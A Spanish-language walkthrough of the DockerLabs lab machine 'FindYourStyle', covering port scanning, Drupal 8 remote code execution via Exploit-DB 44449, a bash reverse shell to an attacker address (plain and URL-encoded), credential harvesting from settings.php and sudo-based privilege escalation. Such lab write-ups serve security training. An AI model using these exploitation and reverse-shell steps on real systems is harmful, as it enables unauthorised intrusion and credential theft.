> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/findyourstyle.md).

# FindYourStyle

### **Despliegue de la Máquina:**

#### **1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **FindYourStyle** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **2. Descompresión:**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `findyourstyle.zip`:

```bash
7z x findyourstyle.zip
```

<figure><img src="/files/aVIdukdkNbPsSAifURon" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `findyourstyle.tar`:

```bash
bash auto_deploy.sh findyourstyle.tar
```

<figure><img src="/files/QethxdpjPLc09WI7x7c4" alt=""><figcaption></figcaption></figure>

***

### **Reconocimiento:**

#### **1. Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/2oTYhStsP9s0tsY56v87" alt=""><figcaption></figcaption></figure>

#### **2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.

**Resultado del escaneo:**

* **Puerto 80:** `HTTP`.

<figure><img src="/files/22cZO30zyLw7Tzp1dp3K" alt=""><figcaption></figcaption></figure>

#### **3. Escaneo Detallado:**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:

```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultado del escaneo:**

* **Puerto 80:** `Apache httpd 2.4.25`, con el CMS Drupal 8 funcionando sobre este servicio.

<figure><img src="/files/F0wKgQLNTaiOrpBsVWHZ" alt=""><figcaption></figcaption></figure>

#### **4. Análisis del Servicio Web:**

Accedemos al servicio HTTP mediante un navegador (`http://172.17.0.2/`) y comprobamos que se trata de un sitio web construido con Drupal, el cual no presenta contenido relevante.

Utilizamos la extensión Wappalyzer para confirmar que se trata de **Drupal 8**, lo cual coincide con los resultados del escaneo de `nmap`.

<figure><img src="/files/f42lQmgzWDVK8O4RakbP" alt=""><figcaption></figcaption></figure>

***

### **Explotación:**

#### **1. Investigación de Vulnerabilidades:**

Identificamos que Drupal 8 es vulnerable a una ejecución remota de código (RCE), documentada en Exploit-DB con el ID [44449](https://www.exploit-db.com/exploits/44449).

<figure><img src="/files/Bzs0A0QCFJpAkVLQFPdQ" alt=""><figcaption></figcaption></figure>

#### **2. Descarga y Configuración del Exploit:**

Descargamos el exploit y le damos permisos de ejecución:

```bash
chmod 700 44449.rb
```

<figure><img src="/files/FhWGfF7iFb7NWVQcQvCZ" alt=""><figcaption></figcaption></figure>

Instalamos la dependencia `highline`, requerida para la ejecución correcta del exploit:

```bash
gem install highline
```

<figure><img src="/files/4jATHZDUZ6pAJ59wzSjj" alt=""><figcaption></figcaption></figure>

#### **3. Ejecución del Exploit:**

Ejecutamos el exploit proporcionando la URL objetivo:

```bash
ruby 44449.rb http://172.17.0.2/
```

**Resultado:** El exploit se ejecuta con éxito, otorgándonos una shell limitada como el usuario `www-data` en la máquina objetivo.

<figure><img src="/files/QCvjtGosamMysL7xs5on" alt=""><figcaption></figcaption></figure>

#### **4. Establecimiento de Reverse Shell:**

Para obtener una shell más cómoda, establecemos una reverse shell desde la máquina objetivo hacia nuestra máquina atacante.

Primero, nos ponemos en escucha en el puerto `1234`:

```bash
nc -nvlp 1234
```

<figure><img src="/files/fvo3vgkPg2XSleI7HjuU" alt=""><figcaption></figcaption></figure>

Desde la máquina objetivo, intentamos ejecutar el siguiente comando para enviar una shell a nuestra máquina atacante:

```bash
bash -c 'bash -i >& /dev/tcp/10.10.10.3/1234 0>&1'
```

Sin embargo, este comando puede fallar debido a los caracteres especiales como `>` y `&`, que suelen ser mal interpretados.

Para evitar este problema, codificamos el comando usando [urlencoder.org](https://www.urlencoder.org/):

```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.3%2F1234%200%3E%261%27
```

<figure><img src="/files/Hy0r0vN9Vld3cUjbOwCq" alt=""><figcaption></figcaption></figure>

Ejecutamos el comando codificado desde la máquina objetivo:

```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.3%2F1234%200%3E%261%27
```

<figure><img src="/files/SCvkEdDvcjGnglxpVJcI" alt=""><figcaption></figcaption></figure>

Como resultado, recibimos exitosamente una shell en nuestra terminal como el usuario `www-data`.

<figure><img src="/files/QHpa8KDx5iIvR0PAQZCt" alt=""><figcaption></figcaption></figure>

***

### **Escalada de Privilegios:**

#### **1. Reconocimiento Interno:**

Listamos los directorios existentes en `/home` para identificar usuarios del sistema:

```bash
ls /home/
```

Encontramos el usuario `ballenita`.

<figure><img src="/files/tFNg2s24fWjVOsmgbM2E" alt=""><figcaption></figcaption></figure>

Examinamos el archivo `settings.php` de Drupal, el cual contiene configuraciones sensibles, incluyendo credenciales:

```bash
cat /var/www/html/sites/default/settings.php
```

Localizamos la contraseña `ballenitafeliz` para el usuario `ballenita`.

<figure><img src="/files/2xu0kFiqY3PsqaUY5xTt" alt=""><figcaption></figcaption></figure>

#### **2. Acceso al Usuario ballenita:**

Utilizamos la contraseña encontrada (`ballenitafeliz`) para acceder como `ballenita`:

```bash
su ballenita
```

<figure><img src="/files/CRzplhLYUZB4Unaa5BRu" alt=""><figcaption></figcaption></figure>

#### **3. Análisis de Privilegios de Sudo:**

Verificamos los comandos que el usuario `ballenita` puede ejecutar con privilegios elevados:

```bash
sudo -l
```

**Resultado:** El usuario `ballenita` puede ejecutar `/bin/ls` y `/bin/grep` como `root` sin proporcionar contraseña:

```bash
(root) NOPASSWD: /bin/ls, /bin/grep
```

<figure><img src="/files/p5a9I9eKF6m9QRhVztAg" alt=""><figcaption></figcaption></figure>

#### **4. Lectura de Archivos Privilegiados:**

Listamos el directorio `/root` utilizando `/bin/ls`:

```bash
sudo -u root /bin/ls /root/
```

Encontramos un archivo llamado `secretitomaximo.txt`.

<figure><img src="/files/apg0BSYhH0Zvdw1MADLq" alt=""><figcaption></figcaption></figure>

Leemos el contenido del archivo utilizando `/bin/grep`:

```bash
sudo -u root /bin/grep '' /root/secretitomaximo.txt
```

**Resultado:** Obtenemos la contraseña del usuario `root` (`nobodycanfindthispasswordrootrocks`).

<figure><img src="/files/qvA6GOlRdaVLx0FJV2Oh" alt=""><figcaption></figcaption></figure>

#### **5. Acceso como Root:**

Accedemos al usuario `root` utilizando la contraseña obtenida anteriormente (`nobodycanfindthispasswordrootrocks`):

```bash
su root
```

**Resultado:** Obtenemos una shell como `root`, completando exitosamente la escalada de privilegios.

<figure><img src="/files/hb2hIt5ywXtvoDHiG1cH" alt=""><figcaption></figcaption></figure>
